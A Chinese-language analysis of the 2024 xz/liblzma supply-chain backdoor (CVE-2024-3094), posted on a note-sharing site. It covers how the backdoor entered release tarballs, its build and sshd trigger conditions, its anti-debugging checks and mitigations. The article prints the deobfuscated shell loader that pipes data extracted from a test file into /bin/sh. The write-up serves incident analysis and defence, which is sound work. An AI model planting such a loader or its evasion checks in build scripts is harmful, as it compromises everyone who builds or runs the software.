墨穗app.notebase.cn
控制台
内容库
动态
管理
账户
U
用户
--
在线
v1.0.165 · 墨穗笔记
笔记

Notebase墨穗
静水流深,落墨成穗。

0笔记
0工具
30推荐

分类导航

按主题直达

编辑精选

站内用户贡献 · 真实笔记

最新收录

每日更新
继续浏览全部内容 →

笔记

0
加载中...

工具

0

此页用于记录用户反馈问题后的每一次改进

关于

笔记用法

“写笔记”支持四种格式——Word 文档、Excel 表格、Markdown、纯文本,起稿或二次编辑时都能随时切换,同一篇笔记想用哪种形态来记,都由你说了算。

md、txt、csv、json 这类纯文本则原样载入,不做多余加工。拿一张现成的表倒进来、改几笔、再导出去,等于白用一台免费的格式转换器。

要带走就在右上角点“下载”,可导出 PDF、Word、Markdown、Excel、TXT 等格式;列表卡片“⋯”菜单里,也有同样的下载入口。

工具用法

在“工具”页点“+ 上传工具”即可发布:填好名称与链接,再用 Markdown 把使用方法写清楚——能解决什么问题、怎么装、怎么用,比堆介绍实在。

要分发安装包就一并上传压缩包(ZIP、RAR、7Z、TAR.GZ,最大 35MB),别人在详情页一键下载;只放链接不带附件也可以。

工具按大家的收藏热度排序,好用的自然会被顶上来。发布后可在详情页或卡片菜单里编辑、下架。

隐藏笔记

写笔记时勾上“隐藏”,这篇就只存在于你自己的账号里:不进列表、不进搜索、不上首页精选,也不会出现在任何公开的页面,链接发给别人同样打不开。

适合放密码、草稿、日记这类只给自己看的内容;想公开,去“发布”打开它,把“隐藏”的勾去掉再保存,之后编辑会默认保持原状态,不会悄悄变回公开。

不想公开、只想临时给人看:点“分享”生成一条带密码和有效期的链接,到期自动失效,你也能随时撤销。

数据安全

你的内容会同时保存在多个副本上,系统定期做备份与完整性校验,再配合异地容灾机制:就算某台机器出问题,数据也不会丢,可以长期放心存放;特别重要的资料,仍建议你另外再留一份备份。

技术

全站跑在容器化、模块化的现代架构上,更新、部署、回滚都很快,扩展性和稳定性都按长期运营的标准来设计(Built for reliability, designed to scale)。

理念

这个网站最早只是一个人的笔记仓库,后来慢慢长成现在的知识中枢。设计上很克制——没有广告、没有追踪、没有推荐算法,只是干干净净地存放一些东西;既然做好了,就公开出来,万一有人用得上呢。

原则

不做大而全,不做平台梦,保持简单、保持克制、保持好奇。所有内容都由用户贡献、由用户维护:不会突然冒出付费墙,不会在角落塞广告位,也不会把你的数据卖给第三方。

更多

产品会持续迭代,站内日志页记录着每一次改动,改了什么都有迹可循;想了解这个站是怎么一步步走到今天的,翻翻日志就能看到来龙去脉。

举报

如果在这里看到涉嫌违规的内容,点对应卡片右侧的“举报”按钮就能提交,我们会尽快核实处理;也谢谢你花一点时间,一起把这里维护干净。

趋势

// 点击导航加载发现
归档
// 归档为空
最近浏览
// 暂无浏览记录
发布
// 加载中...
用户发布
// 加载中...
用户管理
// 加载中...
访问统计
// 加载中...
内容审核
// 加载中...
个人信息
// 加载中...
返回首页

xz/liblzma 供应链后门事件深度分析:一场针对 SSH 的精密攻击

2026-08-29网络安全

本文深入剖析了 2024 年 3 月曝出的 xz/liblzma 上游供应链后门事件,揭示了攻击者如何通过精心构造的恶意代码,在 SSH 服务器中植入后门,实现了对 OpenSSH 的远程代码执行攻击。

事件背景

2024 年 3 月 29 日,Andres Freund 在 oss-security 邮件列表上发布了一篇惊世骇俗的帖子,揭露了 xz 工具链(liblzma)上游仓库和发布 tarball 中存在后门的事实。这一事件迅速成为开源社区乃至整个网络安全界的焦点,因为它展示了供应链攻击的极端隐蔽性和破坏力。

Freund 最初是在 Debian sid 系统上观察到一些异常现象:SSH 登录过程消耗了大量 CPU 时间,且 valgrind(内存调试工具)报告了错误。这些看似孤立的症状,最终指向了一个精心策划的、潜伏在 xz 包中的后门程序。

后门的分布与注入方式

tarball 中的恶意代码

后门的一部分仅存在于发布的 tarball 中,而不是在 GitHub 上的源码仓库里。具体来说,在 m4/build-to-host.m4 文件中,有一行看似无害的代码,但它并不存在于上游 git 仓库的对应文件中。这一行代码会在 configure 脚本执行结束时,注入一个高度混淆的 shell 脚本。

该脚本从仓库中的测试文件(tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma)中提取数据,经过一系列复杂的变换(包括 tr、xz -d、head、tail 等命令),最终执行一段恶意代码。这段代码会修改 src/liblzma/Makefile,使得构建过程中执行额外的恶意指令。

仓库中的恶意文件

攻击者还将两个混淆的恶意文件提交到了上游仓库:tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。这些文件在 5.6.0 版本中并未用于任何测试,显然是为了隐藏恶意代码而添加的。

混淆与反混淆

Freund 在帖子中展示了一段经过反混淆的代码片段,其核心逻辑如下:

bash
####Hello####
#��Z�.hj�
eval grep ^srcdir= config.status
if test -f ../../config.status;then
eval grep ^srcdir= ../../config.status
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && ...)"
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####

这段代码通过一系列 head 和 tail 命令,从 good-large_compressed.lzma 文件中提取特定字节段,再通过 tr 进行字符映射,最后经 xz -F raw --lzma1 -dc 解压后,通过 /bin/sh 执行。这实际上是一个多阶段加载器,用于释放最终的恶意负载。

攻击条件与目标

后门代码在 configure 阶段被触发,但会检查一系列条件,只有满足所有条件才会注入恶意代码。这些条件包括:

  1. 目标架构:必须是 x86_64 架构的 Linux 系统。
  2. 编译器:必须使用 GCC 编译器(GCC 环境变量为 yes,CC 为 gcc)。
  3. 链接器:必须是 GNU ld(通过 LD -v 检查输出是否包含 GNU ld)。
  4. 构建环境:必须检测到 Debian 或 RPM 包构建环境(存在 debian/rules 文件或 RPM_ARCH 环境变量为 x86_64)。

这些条件的设计意图很明显:确保后门只在真实的生产环境中被激活,而不会被安全研究人员或自动分析工具轻易发现。例如,要求包构建环境,可以避免在直接从源码编译时触发,增加了复现的难度。

对 OpenSSH 的影响

后门的主要目标是 OpenSSH 服务器。虽然 OpenSSH 本身不直接使用 liblzma,但 Debian 等发行版会为 OpenSSH 打上 systemd 通知的补丁,而 libsystemd 依赖 lzma。因此,通过 libsystemd,恶意代码得以在 sshd 进程上下文中执行。

性能异常与检测

Freund 观察到,在安装了被后门的 liblzma 后,SSH 登录变得明显缓慢。例如,尝试使用不存在的用户进行 SSH 认证时,耗时从 0.299 秒增加到 0.807 秒。这是因为后门在认证过程中执行了额外的解密和操作。

触发条件

后门代码在 sshd 中的触发条件非常苛刻,包括:

  • TERM 环境变量必须未设置。
  • argv[0] 必须是 /usr/sbin/sshd。
  • LD_DEBUG、LD_PROFILE 必须未设置。
  • LANG 环境变量必须设置。
  • 检测到调试环境(如 rr)时,后门会静默退出,避免被分析。

这些条件使得后门在正常系统服务(由 systemd 启动)中能够激活,但在手动调试或非标准环境中则不会触发,进一步增加了隐蔽性。

攻击链与技术细节

注入的二进制对象

反混淆后,恶意代码会生成一个名为 liblzma_la-crc64-fast.o 的二进制对象文件。这个对象文件是在构建过程中被注入到 liblzma 库中的。它篡改了 crc64 函数,使其在特定条件下执行恶意逻辑。

利用方式

根据后续分析(如 2024 年 3 月 29 日发布的详细技术分析),该后门通过劫持 OpenSSH 的 RSA_public_decrypt 函数(用于公钥认证),实现了对 SSH 认证流程的中间人攻击。具体来说,它允许攻击者使用特定的私钥绕过认证,或者通过精心构造的签名来获得 shell 访问权限。

隐蔽性设计

  • 混淆的 tarball:恶意代码只存在于 tarball 中,而 GitHub 上的源码是干净的,这使得基于源码的审计难以发现问题。
  • 多阶段加载:恶意代码通过多层混淆和编码,最终在内存中执行,避免在磁盘上留下痕迹。
  • 环境检测:通过检查环境变量和调试工具,后门能够识别分析环境并自我隐藏。

影响范围与应急响应

受影响系统

由于 xz 5.6.0 和 5.6.1 发布于 2024 年 2 月,且尚未被大多数 Linux 发行版广泛集成,因此实际受影响的范围有限。但 Debian sid(不稳定版)用户以及使用预发布版本的发行版(如 Fedora Rawhide)的用户可能受到影响。

缓解措施

  • 立即降级 xz:将 xz 降级到 5.4.x 或更早版本。
  • 检查系统:如果已经安装了 5.6.0 或 5.6.1,应检查是否存在异常进程或文件。
  • 关注 CVE:该漏洞被分配为 CVE-2024-3094,CVSS 评分高达 10.0(严重)。
  • 开源社区响应:多个发行版在数小时内发布了安全公告,并提供了修复方案。

事件启示

这次事件是开源软件供应链安全的一个里程碑。它表明,即使是广泛使用、备受信任的底层库(如 xz),也可能成为国家级或高级黑客组织的攻击目标。攻击者不惜花费数月时间,通过社会工程学(如提交代码、参与社区讨论)来建立信任,最终实施攻击。

对开发者和维护者的建议

  • 加强代码审查:对于关键依赖,应进行多轮独立审查,特别是对构建脚本和测试文件。
  • 验证 tarball 与源码一致性:发布 tarball 应与 git 仓库中的源码严格对应,避免在发布过程中引入额外代码。
  • 使用安全构建环境:在隔离的、可复现的构建环境中构建软件,以减少被注入的风险。
  • 监控异常行为:像 Freund 那样,关注性能异常和工具错误,这些可能是安全事件的早期信号。

后续进展

截至 2024 年 4 月,Openwall 和其他安全团队已发布详细的技术分析,揭示了后门的完整工作原理。该事件也促使多个开源项目加强了对供应链安全的重视,例如 GitHub 开始对 tarball 进行自动比对,以检测与仓库源码的差异。

结论

xz/liblzma 后门事件是一次精心策划、高度隐蔽的供应链攻击,展示了攻击者对开源生态系统的深刻理解。它提醒我们,安全不仅仅是代码层面的问题,还涉及到信任链、构建流程和社区治理。对于每一个依赖开源软件的开发者,都需要时刻保持警惕,并采取积极的安全措施。

原文链接:https://www.openwall.com/lists/oss-security/2024/03/29/4

相似推荐
用另一台手机远程帮人弄手机:林林远程控制,安卓被控 + 浏览器/小程序主控安卓补装 Google 三件套:服务框架 + Play 商店,附安装器与步骤VPS节点一键部署+本地订阅转换脚本苹果硬刚英国政府:撤销iCloud高级数据保护,一场加密与主权的全球博弈压迫还是诈骗?AdGuard DNS 对 Archive.today 投诉事件的深度调查谷歌 GDPR 合规漏洞:Brave 揭露实时竞价广告系统的隐私数据广播机制
编写使用方法
Markdown 格式 · Ctrl+Enter 确定
0 字新建笔记
欢迎回来
登录你的墨穗笔记账户
忘记密码?
还没有账户?立即注册
创建账户
注册你的专属墨穗笔记
已有账户?去登录
找回密码
输入注册邮箱获取验证码
返回登录
请输入图片中的验证码以继续注册
加载中...
取消
新建收藏
手动添加你喜欢的内容
取消
编辑头像与昵称
上传新头像或修改你的显示昵称
支持 JPG/PNG,最大 2MB
取消

问题反馈

隐私提醒

取消
编辑工具
受控分享
为这篇笔记生成限时 / 带密码的临时链接
关闭